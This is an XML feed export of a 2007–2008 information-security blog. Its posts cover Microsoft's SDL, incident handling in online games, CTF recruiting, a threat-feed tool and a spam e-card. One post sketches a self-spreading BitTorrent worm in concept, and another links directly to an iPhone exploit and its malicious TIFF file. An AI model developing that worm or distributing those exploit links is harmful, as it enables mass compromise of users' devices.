<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" gd:etag="W/&quot;AkAHRn87fip7ImA9WxNVEkQ.&quot;"><id>tag:blogger.com,1999:blog-3647430684627927763</id><updated>2009-10-23T06:52:17.106-05:00</updated><title>Vulnerable Minds</title><subtitle type="html">The thoughts and project of a premier Information Security think tank.</subtitle><link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://blog.vulnerableminds.com/feeds/posts/default" /><link rel="alternate" type="text/html" href="http://blog.vulnerableminds.com/" /><link rel="hub" href="http://pubsubhubbub.appspot.com/" /><link rel="next" type="application/atom+xml" href="http://www.blogger.com/feeds/3647430684627927763/posts/default?start-index=26&amp;max-results=25&amp;redirect=false&amp;v=2" /><author><name>Scott J. Roberts</name><uri>http://www.blogger.com/profile/02657251441213846202</uri><email>noreply@blogger.com</email></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><openSearch:totalResults>99</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><link rel="self" href="http://feeds.feedburner.com/vulnerableminds/blog" type="application/atom+xml" /><feedburner:browserFriendly></feedburner:browserFriendly><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com" /><entry gd:etag="W/&quot;DE8FQnYzfip7ImA9WxVTE04.&quot;"><id>tag:blogger.com,1999:blog-3647430684627927763.post-783288074865105339</id><published>2008-12-26T19:08:00.000-05:00</published><updated>2008-12-26T19:13:33.886-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-12-26T19:13:33.886-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="threat analysis" /><category scheme="http://www.blogger.com/atom/ns#" term="infosec" /><category scheme="http://www.blogger.com/atom/ns#" term="development" /><category scheme="http://www.blogger.com/atom/ns#" term="source code" /><category scheme="http://www.blogger.com/atom/ns#" term="poc/code" /><category scheme="http://www.blogger.com/atom/ns#" term="apple" /><title>SDL &amp; MS08-078</title><content type="html">I really enjoyed this article by the Microsoft Security Development Lifecycle team about how the SDL affected (or more importantly didn't affect) the recent IE 0-Day that gave a lot of people some sleepless nights recently. I may be becoming a Microsoft Security fanboy, even if I don't really like their OS. Their williness to be open, and being honest about their failures and how to correct them makes me feel far better than Apple's continuous "nope, we're still perfect" mentality, undeserved as it is.&lt;br /&gt;
&lt;br /&gt;
That said, HD Moores use of the techniques develped by Alex Sotirov and Mark Dowd to render most of Microsoft's protections useless was scary to see released. I'm not ready, with todays level of attackers, to go back to a Win2k level of (in)security. Or maybe I am....&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3647430684627927763-783288074865105339?l=blog.vulnerableminds.com'/&gt;&lt;/div&gt;</content><link rel="related" href="http://blogs.msdn.com/sdl/archive/2008/12/18/ms08-078-and-the-sdl.aspx" title="SDL &amp; MS08-078" /><link rel="replies" type="application/atom+xml" href="http://blog.vulnerableminds.com/feeds/783288074865105339/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=3647430684627927763&amp;postID=783288074865105339" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3647430684627927763/posts/default/783288074865105339?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3647430684627927763/posts/default/783288074865105339?v=2" /><link rel="alternate" type="text/html" href="http://blog.vulnerableminds.com/2008/12/sdl-ms08-078.html" title="SDL &amp; MS08-078" /><author><name>Scott J. Roberts</name><uri>http://www.blogger.com/profile/02657251441213846202</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="01489740236280153632" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></entry><entry gd:etag="W/&quot;C0cFQX09fip7ImA9WxZWF04.&quot;"><id>tag:blogger.com,1999:blog-3647430684627927763.post-6435898868139161472</id><published>2008-03-16T21:31:00.003-05:00</published><updated>2008-03-17T00:16:50.366-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-03-17T00:16:50.366-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="challenge" /><category scheme="http://www.blogger.com/atom/ns#" term="threat analysis" /><category scheme="http://www.blogger.com/atom/ns#" term="infosec" /><category scheme="http://www.blogger.com/atom/ns#" term="education" /><category scheme="http://www.blogger.com/atom/ns#" term="development" /><category scheme="http://www.blogger.com/atom/ns#" term="hardware hacking" /><category scheme="http://www.blogger.com/atom/ns#" term="self-learning" /><category scheme="http://www.blogger.com/atom/ns#" term="gaming" /><title>How to rescue orcs and spaceships</title><content type="html">Hello, my name is Scott, and I'm a gamer. Sometimes it keeps me up way too late at night, but I care about my pretend space ships and the billions of Interstellar Kredits I've earned with them, and I'd be pissed if something happened to them.&lt;br /&gt;&lt;br /&gt;A bit nerdy I realize, even for an information security blog, but it's true. There's no way to deny it, I do enjoy my online games. The fact is though I'm far from alone. Millions of people have been getting into one of the many massive multiplayer online games, from &lt;a href="http://worldofwarcraft.com/"&gt;World of Warcraft&lt;/a&gt; to &lt;a href="http://secondlife.com/"&gt;Second Life&lt;/a&gt;, from &lt;a href="http://www.lotro.com/"&gt;Lord of the Rings&lt;/a&gt; to &lt;a href="http://eve-online.com/"&gt;EVE Online&lt;/a&gt;. Millions of people have invested incredible (some would probably say insane) numbers of hours to their wizards, pod pilots, hobbits, and a variety of other characters, constituting a huge investment of both time and money ($15 dollars a month adds up). This has become my motivation as I decided to get my &lt;a href="http://www.giac.org/certifications/security/gcih.php"&gt;GIAC Certified Incident Handler&lt;/a&gt; Gold certification as the focus of my practical.&lt;br /&gt;&lt;br /&gt;I've been fascinated by the numerous security exploits in various online games. From &lt;a href="http://www.hackinthebox.org/modules.php?op=modload&amp;amp;name=News&amp;amp;file=article&amp;amp;sid=24700"&gt;EVE Online's database hack&lt;/a&gt; to &lt;a href="http://www.securityevaluators.com/sl/"&gt;Charlie Miller &amp;amp; Dino Dai Zovi's Second Life exploit&lt;/a&gt; it's interesting the unique factors that go into handling attacks in multiplayer online games. On one hand it's very much like a real economy, characters have assets, experience; money of some kind, and yet very much different (you can't exactly roll back a week of financial transactions in the real world).&lt;br /&gt;&lt;br /&gt;As a result I've chosen to make my practical for getting my GCIH Gold certificate a study on Incident Handling in online games focused on case studies of actual handling by various game operations teams. Here's my abstract:&lt;div&gt;&lt;blockquote&gt;&lt;br /&gt;While generalized incident handling practices are essential to any system or network they do not always meet the needs of specialized systems. These systems have needs that go above and beyond the usual, and must be handled with unique attention to specific hosts, their functions, interactions, and overall system architecture. However in these specialized systems with similar functions there may be a way to generalize even the specialized requirements.&lt;br /&gt;&lt;br /&gt;As massive multiplayer online gaming (MMORPG) continue to grow, through games like World of Warcraft, Second Life, and EVE Online, the amount of money being funneled into them grows as well. Where the money goes so do the criminals and as such online games are increasingly coming to light as targets for malicious attackers. Whether attacking for financial gain or to simply gain the upper hand in gameplay more and more vulnerabilities are being discovered and and exploited in online games.&lt;br /&gt;&lt;br /&gt;MMORPGs are unique environments; worlds with their own economies and populations, players with their own experiences and assets, all of which are unique and important to the users who have invested hours upon hours into their virtual personas. This combination and complexity leads to creating vibrant and unique environments that make these games interesting to play, but also create a nightmare tradeoffs in the event that an incident handler must respond to in the event of a compromise.&lt;br /&gt;&lt;br /&gt;This leads to a need for unique handling of incidents and thus a unique set of processes to be followed. This does not supersede the generalized handling guidelines, nor could it be completed comprehensive, but there can be a generalized incident handling guidelines for online games, a superset of generalized incident handling guidelines, such as those taught in the SANS 504 course.&lt;br /&gt;&lt;br /&gt;To this end I would like to research and develop such a set of specialized handling guidelines, based on the proven general handling techniques from SANS, for consideration of incident handlers working on massive multiplayer online games. These will focus on the unique challenges and options available to handlers in online games, and will be based in large part from case studies of how such incidents have already been handled in current online games. Additionally it will include a survey of major online games, trying to gain as much insight as possible into how they currently structure their handling, in order to add as much real world experience into this effort as possible.&lt;/blockquote&gt;&lt;br /&gt;Even though it results in writing a paper and being uber-whitehat I'm kind of excited about writing this paper. Looking at attacking/defending online games is just beginning to get attention. That is somewhat surprising in itself since the online gaming industry is already doing billions in dollars yearly and continues growing. Nothing is quite as much fun as breaking new ground.&lt;br /&gt;&lt;br /&gt;So now for you, my readers, I have a request: What are your thoughts and insights, on my abstract for my paper and on the topic in general. I'm very eager to hear what you have to say. Feel free to leave comments, send email (scott.roberts[at]vulnerableminds[dot]com), send a carrier pidgion, I'm interested to hear what you have to say.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3647430684627927763-6435898868139161472?l=blog.vulnerableminds.com'/&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.vulnerableminds.com/feeds/6435898868139161472/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=3647430684627927763&amp;postID=6435898868139161472" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3647430684627927763/posts/default/6435898868139161472?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3647430684627927763/posts/default/6435898868139161472?v=2" /><link rel="alternate" type="text/html" href="http://blog.vulnerableminds.com/2008/03/how-to-rescue-orcs-and-spaceships.html" title="How to rescue orcs and spaceships" /><author><name>Scott J. Roberts</name><uri>http://www.blogger.com/profile/02657251441213846202</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="01489740236280153632" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total></entry><entry gd:etag="W/&quot;CEIER3k4eSp7ImA9WxZQE00.&quot;"><id>tag:blogger.com,1999:blog-3647430684627927763.post-3272442221139112397</id><published>2008-02-17T21:25:00.002-05:00</published><updated>2008-02-17T21:41:46.731-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-02-17T21:41:46.731-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="shmoocon" /><category scheme="http://www.blogger.com/atom/ns#" term="challenge" /><category scheme="http://www.blogger.com/atom/ns#" term="ctf" /><category scheme="http://www.blogger.com/atom/ns#" term="infosec" /><category scheme="http://www.blogger.com/atom/ns#" term="cons" /><title>Congratulations</title><content type="html">Shmoocon IV was a good time for all. A few good talks, lots of good times meeting up with people, and for Alice, Mike, Sean, and Tim it was good old fashioned hacker fun as all of them played in Shmoocon's annual "Hack or Halo" competition. Now Mike was last years champion, and tied for first, but it was Tim who came in with the fastest time, and was this year's Hack or Halo winner.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Congratulations to Tim and everyone who participated.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3647430684627927763-3272442221139112397?l=blog.vulnerableminds.com'/&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.vulnerableminds.com/feeds/3272442221139112397/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=3647430684627927763&amp;postID=3272442221139112397" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3647430684627927763/posts/default/3272442221139112397?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3647430684627927763/posts/default/3272442221139112397?v=2" /><link rel="alternate" type="text/html" href="http://blog.vulnerableminds.com/2008/02/congratulations.html" title="Congratulations" /><author><name>Scott J. Roberts</name><uri>http://www.blogger.com/profile/02657251441213846202</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="01489740236280153632" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></entry><entry gd:etag="W/&quot;CEYAQXk_eyp7ImA9WxZRFEw.&quot;"><id>tag:blogger.com,1999:blog-3647430684627927763.post-4683914234983698145</id><published>2008-02-07T00:29:00.000-05:00</published><updated>2008-02-07T14:22:20.743-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-02-07T14:22:20.743-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="challenge" /><category scheme="http://www.blogger.com/atom/ns#" term="ctf" /><category scheme="http://www.blogger.com/atom/ns#" term="infosec" /><category scheme="http://www.blogger.com/atom/ns#" term="defcon" /><category scheme="http://www.blogger.com/atom/ns#" term="self-learning" /><title>CTF is coming &amp; VM is recruiting</title><content type="html">&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://blog.washingtonpost.com/securityfix/Defcon14%20037.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 320px;" src="http://blog.washingtonpost.com/securityfix/Defcon14%20037.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;It may be a couple months away but Vulnerable Minds is getting read for one of the best parts of the year. No, not Christmas, Defcon. Say what you want about the Rivera, but Defcon is definitely one of the biggest events in the hacking community. Last year Vulnerable Minds competed for the first time in the Defcon qualifier, hoping to earn a spot to play CTF in Vegas.&lt;div&gt; &lt;/div&gt;&lt;div&gt;Vulnerable Minds put in a good effort and did well for our first attempt. Out of 170 teams participating we ended up placing 30th, besting a number of very talented teams.&lt;br /&gt;&lt;br /&gt;So now it's time to turn our thoughts towards this years competition. Vulnerable Minds is looking to build off last years strong showing and do even better this year. To that end we are looking for talented hackers interested in playing CTF, qualifying, and going to DefCon to play. Reversers, sploit coders, forensics gurus, even defensive specialists. DC area is preferred.&lt;br /&gt;&lt;br /&gt;Not sure if this is your cup of tea? Check out &lt;a href="http://nopsr.us/"&gt;information about qualification and CTF&lt;/a&gt; from the past two years from the L@stplace team (Winners the past two years at Defcon).&lt;br /&gt;&lt;br /&gt;Interested? Fill out this &lt;a href="https://spreadsheets.google.com/viewform?key=pOwF3Za0c6CLch2CRNppwGw"&gt;handy contact form&lt;/a&gt; and we'll get in touch with you.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3647430684627927763-4683914234983698145?l=blog.vulnerableminds.com'/&gt;&lt;/div&gt;</content><link rel="related" href="http://spreadsheets.google.com/viewform?key=pOwF3Za0c6CLch2CRNppwGw" title="CTF is coming &amp; VM is recruiting" /><link rel="replies" type="application/atom+xml" href="http://blog.vulnerableminds.com/feeds/4683914234983698145/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=3647430684627927763&amp;postID=4683914234983698145" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3647430684627927763/posts/default/4683914234983698145?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3647430684627927763/posts/default/4683914234983698145?v=2" /><link rel="alternate" type="text/html" href="http://blog.vulnerableminds.com/2008/02/ctf-is-coming-vm-is-recruiting.html" title="CTF is coming &amp; VM is recruiting" /><author><name>Scott J. Roberts</name><uri>http://www.blogger.com/profile/02657251441213846202</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="01489740236280153632" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></entry><entry gd:etag="W/&quot;CUAESXw5eSp7ImA9WxZTFU4.&quot;"><id>tag:blogger.com,1999:blog-3647430684627927763.post-6168055812429100254</id><published>2008-01-16T20:25:00.000-05:00</published><updated>2008-01-16T20:35:08.221-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-01-16T20:35:08.221-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="threat analysis" /><category scheme="http://www.blogger.com/atom/ns#" term="malware" /><category scheme="http://www.blogger.com/atom/ns#" term="infosec" /><category scheme="http://www.blogger.com/atom/ns#" term="black hat" /><category scheme="http://www.blogger.com/atom/ns#" term="networking" /><title>Nasty Idea of the Night: Bittorrent "Worm"</title><content type="html">It's been awhile, but then again, it's always been awhile, but I digress.&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;So a nasty idea popped into my head tonight. Imagine attacking a BitTorrent by finding a buffer overflow in the client software and each host compromised checks it's peer list and compromises all those as well? Add extra nasty and have the payload also check for other torrents and send the exploit payload to those as well.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Interesting points:&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;Could move incredibly fast.&lt;/li&gt;&lt;li&gt;Complicated issues with client vulnerabilities vs protocol vulnerabilities. Unlikely to write an attack that works universally. &lt;/li&gt;&lt;li&gt;Price the RIAA would pay for such a thing? *What's the keystroke for infinity*&lt;/li&gt;&lt;li&gt;Tracker vulnerabilities.&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;Just a random thought. More to come.&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3647430684627927763-6168055812429100254?l=blog.vulnerableminds.com'/&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.vulnerableminds.com/feeds/6168055812429100254/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=3647430684627927763&amp;postID=6168055812429100254" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3647430684627927763/posts/default/6168055812429100254?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3647430684627927763/posts/default/6168055812429100254?v=2" /><link rel="alternate" type="text/html" href="http://blog.vulnerableminds.com/2008/01/nasty-idea-of-night-bittorrent-worm.html" title="Nasty Idea of the Night: Bittorrent &quot;Worm&quot;" /><author><name>Scott J. Roberts</name><uri>http://www.blogger.com/profile/02657251441213846202</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="01489740236280153632" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total></entry><entry gd:etag="W/&quot;AkMDQXgzfCp7ImA9WB9RFEo.&quot;"><id>tag:blogger.com,1999:blog-3647430684627927763.post-7862079893995264281</id><published>2007-10-15T14:08:00.001-05:00</published><updated>2007-10-15T15:01:10.684-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2007-10-15T15:01:10.684-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="threat analysis" /><category scheme="http://www.blogger.com/atom/ns#" term="infosec" /><category scheme="http://www.blogger.com/atom/ns#" term="development" /><category scheme="http://www.blogger.com/atom/ns#" term="project tango" /><category scheme="http://www.blogger.com/atom/ns#" term="webapps" /><category scheme="http://www.blogger.com/atom/ns#" term="job" /><category scheme="http://www.blogger.com/atom/ns#" term="pulse" /><title>Introducing Pulse</title><content type="html">Well if you've been doing DNS zone transfers on VulnerableMinds.com then you know, but for the rest of you &lt;a href="http://pulse.vulnerableminds.com/"&gt;Pulse&lt;/a&gt; has been a mystery. Begun as Project Tango Pulse was meant to do one thing; give you a summarized, quick, complete look at the status of the information security threat landscape. It's a simple concept, but a lacking resource on the Internet.&lt;br /&gt;&lt;br /&gt;Pulse came out of my own needs as a threat analyst. Work leaves me with no shortage of projects, research, emails, meetings, and yet the imperative need to have a complete view of what vulnerabilities, exploits, and malcode affecting all platforms. RSS feeds were a good start, but I quickly found myself reading dozens of feeds a day, many filled with useless information. Many I was able to replace or weed out, making it easy to get general news and the opinions, but I still needed more. I still needed information about threats, vulnerabilities and the code to exploit them, but struggled with so many feeds, and I still spent a huge amount of time reading unimportant information.&lt;br /&gt;&lt;br /&gt;To this end I decided I needed a tool of my own, something to bring together all these feeds that bring into one place and yet eliminate  the chaff, the low threat, the endless mailing list responses; the unnecessary.&lt;br /&gt;&lt;br /&gt;The result is &lt;a href="http://pulse.vulnerableminds.com/"&gt;Pulse&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Now Pulse is a huge part of my daily workflow. I start my day with it, along with &lt;a href="http://isc.sans.org/"&gt;SANS Internet Storm Center&lt;/a&gt; and &lt;a href="http://atlas.arbor.net/"&gt;Arbor Networks Atlas&lt;/a&gt; portal. I feel that this combination gives me all the information I need to know to be on the "pulse" of the infosec threat landscape. &lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;I'll quit waxing philosophical about the why's and hows. It's straightforward, but I feel like it meets a need that isn't easily being filled by other services available on the Internet. So take a look, use it, enjoy, and feel free to send me feedback. Pulse isn't done, it's not finished, it's just beginning. To find out more:&lt;div&gt;&lt;ul id=""&gt;&lt;li&gt;Introduction to Pulse - &lt;a href="http://docs.google.com/TeamPresent?fs=true&amp;amp;docid=dd9wn9f5_8655nhtf"&gt;Presentation&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Project Tango Specification - &lt;a href="http://docs.google.com/View?docid=dd9wn9f5_4fw3ktv"&gt;Document&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3647430684627927763-7862079893995264281?l=blog.vulnerableminds.com'/&gt;&lt;/div&gt;</content><link rel="related" href="http://pulse.vulnerableminds.com" title="Introducing Pulse" /><link rel="replies" type="application/atom+xml" href="http://blog.vulnerableminds.com/feeds/7862079893995264281/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=3647430684627927763&amp;postID=7862079893995264281" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3647430684627927763/posts/default/7862079893995264281?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3647430684627927763/posts/default/7862079893995264281?v=2" /><link rel="alternate" type="text/html" href="http://blog.vulnerableminds.com/2007/10/introducing-pulse.html" title="Introducing Pulse" /><author><name>Scott J. Roberts</name><uri>http://www.blogger.com/profile/02657251441213846202</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="01489740236280153632" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total></entry><entry gd:etag="W/&quot;A04MQXg-fSp7ImA9WB9REUk.&quot;"><id>tag:blogger.com,1999:blog-3647430684627927763.post-5353072039439825238</id><published>2007-10-11T19:25:00.000-05:00</published><updated>2007-10-11T19:46:20.655-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2007-10-11T19:46:20.655-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="op/ed" /><category scheme="http://www.blogger.com/atom/ns#" term="infosec" /><category scheme="http://www.blogger.com/atom/ns#" term="development" /><category scheme="http://www.blogger.com/atom/ns#" term="poc/code" /><category scheme="http://www.blogger.com/atom/ns#" term="mobiles" /><category scheme="http://www.blogger.com/atom/ns#" term="apple" /><title>Took long enough...</title><content type="html">No, I'm not talking about how long it's been since our last blog post, I'm talking about the iPhone.&lt;br /&gt;&lt;br /&gt;I can't say I'm really surprised, except that maybe it took so long, but the iPhone hacking teams have announced a major remote exploit for the iPhone/iTouch. A file parsing exploit, the way we many of us expected it would happen, this is remotely exploitable via a malicious .tiff file. It appears that this was created to make it possible to remotely unlock iPhones (a dubious prospect at best).&lt;br /&gt;&lt;br /&gt;For all the interest that the information security community had in the iPhone before it came out I've been shocked at how little has come out of our community. It's shocking how the majority of the "exploit" activity on the iPhone has been the traditional hackers, those who just seek to expand functionality. These "hacks" have been created to compensate for the lacking API, not those attempting to compromise this information rich device. Maybe good is stronger than awesome.&lt;br /&gt;&lt;br /&gt;More info &lt;a href="http://www.milw0rm.com/exploits/4522"&gt;here&lt;/a&gt; and the actual malicious tiff &lt;a href="http://www.milw0rm.com/sploits/10112007-iphone.tif"&gt;here&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3647430684627927763-5353072039439825238?l=blog.vulnerableminds.com'/&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.vulnerableminds.com/feeds/5353072039439825238/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=3647430684627927763&amp;postID=5353072039439825238" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3647430684627927763/posts/default/5353072039439825238?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3647430684627927763/posts/default/5353072039439825238?v=2" /><link rel="alternate" type="text/html" href="http://blog.vulnerableminds.com/2007/10/took-long-enough.html" title="Took long enough..." /><author><name>Scott J. Roberts</name><uri>http://www.blogger.com/profile/02657251441213846202</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="01489740236280153632" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></entry><entry gd:etag="W/&quot;Dk4AQ3o7eCp7ImA9WB5UFU0.&quot;"><id>tag:blogger.com,1999:blog-3647430684627927763.post-5278122625157702184</id><published>2007-08-18T22:07:00.001-05:00</published><updated>2007-08-19T01:29:02.400-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2007-08-19T01:29:02.400-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="social engineering" /><category scheme="http://www.blogger.com/atom/ns#" term="malware" /><category scheme="http://www.blogger.com/atom/ns#" term="comments" /><category scheme="http://www.blogger.com/atom/ns#" term="reverse engineering" /><title>Love, as they say, is dangerous.</title><content type="html">As mentioned previously (and in a Defcon debriefing post that I have yet to actually publish), I've been looking into malware analysis and reverse engineering lately. There is still so much to learn, but what humble little I have learned has whetted my appetite for something more hands-on.&lt;br /&gt;&lt;br /&gt;By the way, I have finally discovered and fallen in love with Eldad Eilam's book, &lt;a href="http://www.amazon.com/Reversing-Secrets-Engineering-Eldad-Eilam/dp/0764574817"&gt;Reversing: Secrets of Reverse Engineering&lt;/a&gt;. Its collective 624 pages has a good balance of breadth and depth, and though I haven't finished it from cover-to-cover yet, I am already jumping the gun and recommending it to anyone interested in reversing. As the book has a good amount of assembly code, some background knowledge is advised, unless you're the type who likes to be inundated with information about things you can just barely understand, like doing 0 to 60 in 3 seconds flat.&lt;br /&gt;&lt;br /&gt;At any rate, in my quest to look for something to analyze, I discovered that one easily accessible treasure trove of malware and fishy (phishy! sorry, that was punny) sites is my spam folder... which is where I found this one:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_3B_BHQVFJS0/RsfbDGVhaXI/AAAAAAAAAFE/b01suSnNqg8/s1600-h/lame-spam.PNG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:right;cursor:pointer; cursor:hand;" src="http://bp2.blogger.com/_3B_BHQVFJS0/RsfbDGVhaXI/AAAAAAAAAFE/b01suSnNqg8/s400/lame-spam.PNG" border="0" alt=""id="BLOGGER_PHOTO_ID_5100285949307349362" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;"I`m in hurry, but i still love you...?" Aw, I feel the warm fuzzies! Especially when said ecard (which has javascript code running in the background, so I &lt;b&gt;don't&lt;/b&gt; recommend you going to this link unless you know what you're doing) looks something like this...&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_3B_BHQVFJS0/RsfMhmVhaWI/AAAAAAAAAE8/kPzslc1AvU8/s1600-h/lame-spam2.PNG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:left;cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_3B_BHQVFJS0/RsfMhmVhaWI/AAAAAAAAAE8/kPzslc1AvU8/s320/lame-spam2.PNG" border="0" alt=""id="BLOGGER_PHOTO_ID_5100269980618942818" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Humor aside, I am somewhat surprised by the sloppy effort of the attempt, especially when simple copy-pasting could have made it somewhat more convincing. This was obviously not a particularly brilliant example of social engineering technique, but it was entertaining nevertheless.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3647430684627927763-5278122625157702184?l=blog.vulnerableminds.com'/&gt;&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.vulnerableminds.com/feeds/5278122625157702184/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=3647430684627927763&amp;postID=5278122625157702184" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3647430684627927763/posts/default/5278122625157702184?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3647430684627927763/posts/default/5278122625157702184?v=2" /><link rel="alternate" type="text/html" href="http://blog.vulnerableminds.com/2007/08/love-as-they-say-is-dangerous.html" title="Love, as they say, is dangerous." /><author><name>Alice</name><email>noreply@blogger.com</email></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://bp2.blogger.com/_3B_BHQVFJS0/RsfbDGVhaXI/AAAAAAAAAFE/b01suSnNqg8/s72-c/lame-spam.PNG" height="72" width="72" /><thr:total 